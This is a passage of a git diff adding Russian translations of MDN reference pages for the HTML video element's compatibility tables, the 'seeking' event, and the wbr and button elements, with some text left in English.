+<p>Your web host may provide an easy interface to MIME type configuration changes for new technologies until a global update naturally occurs.</p>
+
+<h2 id="Интерфейс_DOM">Интерфейс DOM</h2>
+
+<p><span class="short_text" id="result_box" lang="ru"><span class="hps">Этот элемент</span> <span class="hps">реализует интерфейс</span></span> <code><a href="/en-US/docs/Web/API/HTMLVideoElement">HTMLVideoElement</a></code>.</p>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div>
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>autoplay</code> attribute</td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>buffered</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>controls</code> attribute</td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code> attribue</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("12.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>loop</code> attribute</td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("11.0")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>muted</code> attribute</td>
+   <td>30.0</td>
+   <td>{{CompatGeckoDesktop("11.0")}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td><code>played</code> property</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>poster</code> attribute</td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>preload</code> attribute</td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.1</td>
+  </tr>
+  <tr>
+   <td><code>src</code> attribute</td>
+   <td>3.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div>
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>autoplay</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>8.1</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td><code>buffered</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>controls</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>loop</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("11.0")}}</td>
+   <td>8.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>6.0</td>
+  </tr>
+  <tr>
+   <td><code>muted</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("11.0")}}</td>
+   <td>8.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>played</code> property</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>poster</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>preload</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>src</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("12.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature is only available on iOS 6.0.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements">Media formats supported by the audio and video elements</a></li>
+ <li>{{htmlelement("audio")}}</li>
+ <li><a href="/en-US/docs/Using_HTML5_audio_and_video">Using HTML5 audio and video</a></li>
+ <li><a href="/en-US/docs/Manipulating_video_using_canvas">Manipulating video using canvas</a></li>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement"><code>nsIDOMHTMLMediaElement</code></a></li>
+ <li><a class="external" href="http://tinyvid.tv/">TinyVid</a> - examples using ogg files in HTML5.</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#video">The <code>video</code> element</a> (HTML5 specification)</li>
+ <li><a href="/en-US/docs/Configuring_servers_for_Ogg_media">Configuring servers for Ogg media</a></li>
+ <li><a href="http://www.jwplayer.com/html5/">The state of HTML5 video</a></li>
+</ul>
diff --git a/files/ru/web/html/element/video/seeking_event/index.html b/files/ru/web/html/element/video/seeking_event/index.html
new file mode 100644
index 0000000000..5802aecadb
--- /dev/null
+++ b/files/ru/web/html/element/video/seeking_event/index.html
@@ -0,0 +1,80 @@
+---
+title: стримится
+slug: Web/HTML/Element/video/seeking_event
+translation_of: Web/API/HTMLMediaElement/seeking_event
+---
+<p>Событие 'seeking' в случае, когда идет подгрузка видео</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeking">HTML5 media</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">Event</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("playing")}}</li>
+ <li>{{event("waiting")}}</li>
+ <li>{{event("seeking")}}</li>
+ <li>{{event("seeked")}}</li>
+ <li>{{event("ended")}}</li>
+ <li>{{event("loadedmetadata")}}</li>
+ <li>{{event("loadeddata")}}</li>
+ <li>{{event("canplay")}}</li>
+ <li>{{event("canplaythrough")}}</li>
+ <li>{{event("durationchange")}}</li>
+ <li>{{event("timeupdate")}}</li>
+ <li>{{event("play")}}</li>
+ <li>{{event("pause")}}</li>
+ <li>{{event("ratechange")}}</li>
+ <li>{{event("volumechange")}}</li>
+ <li>{{event("suspend")}}</li>
+ <li>{{event("emptied")}}</li>
+ <li>{{event("stalled")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/wbr/index.html b/files/ru/web/html/element/wbr/index.html
new file mode 100644
index 0000000000..73406f47fd
--- /dev/null
+++ b/files/ru/web/html/element/wbr/index.html
@@ -0,0 +1,99 @@
+---
+title: <wbr>
+slug: Web/HTML/Element/wbr
+translation_of: Web/HTML/Element/wbr
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>Элемент HTML <code>&lt;wbr&gt;</code></strong> предоставляет возможность переноса слова – позицию в тексте, где браузер может по желанию разбить строку, в противном случае его правила разрыва строки не будут создавать разрыв в этом месте.</p>
+
+<div><strong>{{EmbedInteractiveExample("pages/tabbed/wbr.html", "tabbed-shorter")}}</strong></div>
+
+<p class="hidden"><strong>Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте https://github.com/mdn/interactive-examples и отправьте нам запрос на извлечение.</strong></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Категории контента</th>
+   <td><strong><a href="/en-US/docs/Web/Guide/HTML/Content_categories#Flow_content">Основной поток</a>, <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</strong></td>
+  </tr>
+  <tr>
+   <th scope="row"><strong>Разрешенное сожержимое</strong></th>
+   <td><strong>Отсутствует</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td><strong>It is an {{Glossary("empty element")}}; it must have a start tag, but must not have an end tag.</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td><strong>Любой элемент принимающий <a href="/en-US/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td><strong>Любые</strong></td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td><strong>{{domxref("HTMLElement")}}</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты"><strong>Атрибуты</strong></h2>
+
+<p><strong>Элемент может содержать только <a href="/ru-R/docs/HTML/Global_attributes">глобальные атрибуты</a>.</strong></p>
+
+<h2 id="Заметки"><strong>Заметки</strong></h2>
+
+<p>На страницах в кодировке UTF-8, элемент <code>&lt;wbr&gt;</code> ведет себя как кодовое значение <code>U+200B ZERO-WIDTH SPACE</code> (пробел нулевой ширины). В частности, он ведет себя как кодовое значение Unicode Bidi BN, то есть он не влияет на порядок {{Glossary("bidi")}}-направления (двунаправленного потока) <code>&lt;div dir=rtl&gt;123,&lt;wbr&gt;456&lt;/div&gt;</code>: отображается, если выражение не разбито на две строки, <code>123 456</code> и не <code>456,123</code>.</p>
+
+<p>По той же причине, элемент <code>&lt;wbr&gt;</code> не вводит дефис в точке разрыва строки. Чтобы дефис отображался только в конце строки, используйте вместо него символ «мягкого дефиса» (<code>&amp;shy;</code>).</p>
+
+<p>Этот элемент был впервые реализован в Internet Explorer 5.5 и был официально определен в HTML5.</p>
+
+<h2 id="Пример"><strong>Пример</strong></h2>
+
+<p><a href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/">Руководство по стилю Yahoo</a> рекомендует <a href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/editing/treat-abbreviations-capitalization-and-titles-consistently/website-names-and-addresses">рабивать URL перед пунктуацией</a>, чтобы не оставлять знаки припинания в конце строки, которые читатель может ошибочно принять за конец URL.<strong> </strong></p>
+
+<pre class="brush: html notranslate"><strong>&lt;p&gt;http://this&lt;wbr&gt;.is&lt;wbr&gt;.a&lt;wbr&gt;.really&lt;wbr&gt;.long&lt;wbr&gt;.example&lt;wbr&gt;.com/With&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;/p&gt; </strong></pre>
+
+<p><strong>{{EmbedLiveSample("Example")}}</strong></p>
+
+<h2 id="Спецификация"><strong>Спецификация</strong></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col"><strong>Статус</strong></th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><strong>{{SpecName('HTML WHATWG', 'semantics.html#the-wbr-element', '&lt;wbr&gt;')}}</strong></td>
+   <td><strong>{{Spec2('HTML WHATWG')}}</strong></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><strong>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-wbr-element', '&lt;wbr&gt;')}}</strong></td>
+   <td><strong>{{Spec2('HTML5 W3C')}}</strong></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами"><strong>Поддержка браузерами</strong></h2>
+
+<div class="hidden"><strong>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</strong></div>
+
+<p><strong>{{Compat("html.elements.wbr")}}</strong></p>
+
+<h2 id="Смотрите_также"><strong>Смотрите также</strong></h2>
+
+<ul>
+ <li><strong>{{cssxref("overflow-wrap")}}</strong></li>
+ <li><strong>{{cssxref("word-break")}}</strong></li>
+ <li><strong>{{cssxref("hyphens")}}</strong></li>
+</ul>
diff --git a/files/ru/web/html/element/кнопка/index.html b/files/ru/web/html/element/кнопка/index.html
new file mode 100644
index 0000000000..ec13035e29
--- /dev/null
+++ b/files/ru/web/html/element/кнопка/index.html
@@ -0,0 +1,363 @@
+---
+title: <button>
+slug: Web/HTML/Element/кнопка
+tags:
+  - Element
+  - HTML
+  - Web
+  - Средний уровень
+  - Формы
+translation_of: Web/HTML/Element/button
+---
+<h2 id="Описание">Описание</h2>
+
+<p><strong>HTML-элемент <em><code>&lt;button&gt;</code></em></strong> создает кликабельную кнопку, которая может быть использована в формах или в любом другом месте документа, который требует простой, стандартной кнопки. По умолчанию, кнопки HTML обычно представлены в стиле, аналогичном стилю хост-платформы, на которой работает {{Glossary ("user agent")}}, но вы можете изменить внешний вид кнопки, используя CSS.</p>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/HTML/Content_categories/">Категории контента</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Общий поток</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">текстовый контент</a>, <a href="/en-US/docs/HTML/Content_categories#Interactive_content">интерактивный контент</a>, <a href="/en-US/docs/HTML/Content_categories#Form_listed" title="HTML/Content categories#Form listed">listed</a>, <a href="/en-US/docs/HTML/Content_categories#Form_labelable" title="HTML/Content categories#Form labelable">labelable</a>, и <a href="/en-US/docs/HTML/Content_categories#Form_submittable" title="HTML/Content categories#Form submittable">submittable</a> <a href="/en-US/docs/HTML/Content_categories#Form-associated_" title="HTML/Content categories#Form-associated ">form-associated</a> элемент, очевидный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённый контент</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Текстовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}} </td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённый родительский контент</th>
+   <td>Любой элемент с поддержкой <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">текстового контета</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые роли ARIA</th>
+   <td>
+    <p>{{ARIARole("checkbox")}}, {{ARIARole("link")}}, {{ARIARole("menuitem")}}, <br>
+     {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLButtonElement")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Тип</th>
+   <td>Строчный</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p><span style="line-height: 21px;">Элемент поддерживает <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes">глобальные атрибуты</a>.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Данный булевый атрибут позволяет указать, будет ли кнопка автоматически сфокусирована после загрузки страницы, до тех пор, пока пользователь не изменит фокус в ручную, например выбрав другой элемент. Только один связанный с формой элемент в документе может иметь данный атрибут.</dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{non-standard_inline}}</dt>
+ <dd>Использование данного атрибута на элементе <code>&lt;button&gt;</code> не описано в стандарте и используется только в Firefox браузере. По умолчанию, в отличие от прочих браузеров, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox сохраняет назначенное динамически отключенное состояние </a>для элемента <code>&lt;button&gt;</code> при последующих загрузках страницы. Установка для данного атрибута значения <code>off</code> отключает подобное поведение. Смотрите {{bug(654072)}}.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>Булевый атрибут, указывающий, что пользователь не может взаимодействовать с кнопкой. Если атрибут не установлен, то кнопка наследует его от элемента-контейнера, в котором она расположена, например от {{HTMLElement("fieldset")}}; если отсутсвует элемент-контейнер, с установленным атрибутом <strong>disabled</strong>, то кнопка доступна для взаимодействия.</p>
+
+ <p>Firefox по умолчанию, в отличие от прочих браузеров, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">сохраняет назначенное динамически отключенное состояние </a>для элемента <code>&lt;button&gt;</code>, даже при обновлении страницы. Чтобы изменить поведение браузера в этом случае, используйте атрибут {{htmlattrxref("autocomplete","button")}}.</p>
+ </dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Атрибут <strong>form</strong> позволяет указать элемент {{HTMLElement("form")}}, с которым связана кнопка. Данный атрибут должен хранить значение <strong>id</strong> элемента {{HTMLElement("form")}}. Если данный атрибут не установлен, то элемент <code>&lt;button&gt;</code> будет связан с родительским элементом {{HTMLElement("form")}}, если последний существует.</dd>
+ <dd>Атрибут работает независимо от расположения элементов в документе, поэтому он позволяет связать элемент <code>&lt;button&gt;</code> с формой, даже в случае, если <code>&lt;button&gt;</code> не является наследником элемента {{HTMLElement("form")}}.</dd>
+ <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Ссылка на обработчик формы. Если атрибут определен — он переопределит атрибут {{htmlattrxref("action","form")}} у формы-родителя.</dd>
+ <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Если <code>button</code> имеет тип <code>submit</code>, то этот атрибут определяет тип контента, отправляемого на сервер. Возможные значения данного атрибута:
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code>: значение по умолчанию, если атрибут не указан.</li>
+  <li><code>multipart/form-data</code>: следует использовать это значение, если форма содержит элемент {{HTMLElement("input")}} со значением атрибута {{htmlattrxref("type","input")}} <code>file</code>.</li>
+  <li><code>text/plain</code></li>
+ </ul>
+
+ <p>Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("enctype","form")}} у формы-родителя.</p>
+ </dd>
+ <dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Если <code>button</code> имеет тип <code>submit</code>, то этот атрибут определяет метод HTTP-запроса для отправки данных на сервер. Возможные варианты:
+ <ul>
+  <li><code>post</code>: данные формы включаются в тело сообщения и отправляются на сервер.</li>
+  <li><code>get</code>: данные формы отправляются на сервер в виде ссылки, состоящей из URI атрибута {{htmlattrxref("action","form")}} и непосредственно данных, отделенных знаком '?'. Данные формы будут иметь вид ключ/значение и разделены амперсандом, например name=Name&amp;id=35. Следует использовать этот метод только если нет побочных эффектов и данные формы содержат лишь ASCII-символы.</li>
+ </ul>
+
+ <p>Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("method","form")}} у формы-родителя.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Булевый атрибут. Указывает, что данные формы не будут валидироваться при отправке.</dd>
+ <dd>Если этот атрибут определен, он переопределяет атрибут {{htmlattrxref("novalidate","form")}} у формы-родителя.</dd>
+ <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Если <code>button</code> имеет тип <code>submit</code>, этот атрибут <span style="">является именем или ключевым словом</span>,
+ <p dir="ltr" id="tw-target-text">указывающим, где отображать ответ, полученный после отправки формы<span style="">. This is a name of, or keyword for, a </span><em>browsing context</em><span style=""> (for example, tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the button's form owner. The following keywords have special meanings:</span></p>
+
+ <ul>
+  <li><code>_self</code>: Load the response into the same browsing context as the current one. This value is the default if the attribute is not specified.</li>
+  <li><code>_blank</code>: Load the response into a new unnamed browsing context.</li>
+  <li><code>_parent</code>: Load the response into the parent browsing context of the current one. If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+  <li><code>_top</code>: Load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>The name of the button, which is submitted with the form data.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>The type of the button. Possible values are:
+ <ul>
+  <li><code>submit</code>: The button submits the form data to the server. This is the default if the attribute is not specified, or if the attribute is dynamically changed to an empty or invalid value.</li>
+  <li><code>reset</code>: The button resets all the controls to their initial values.</li>
+  <li><code>button</code>: The button has no default behavior. It can have client-side scripts associated with the element's events, which are triggered when the events occur.</li>
+  <li>menu: The button opens a popup menu defined via its designated {{HTMLElement("menu")}} element.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>The initial value of the button.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html notranslate">&lt;button name="button"&gt;Тык!&lt;/button&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example', 200, 64) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-button-element.html#the-button-element', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-button-element', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.5', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formaction</code> attribute</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formenctype</code> attribute</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.6</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formmethod</code> attribute</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code> attribute</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>9.6</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td><code>menu</code> value for <code>type</code> attribute</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formaction</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formenctype</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formmethod</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
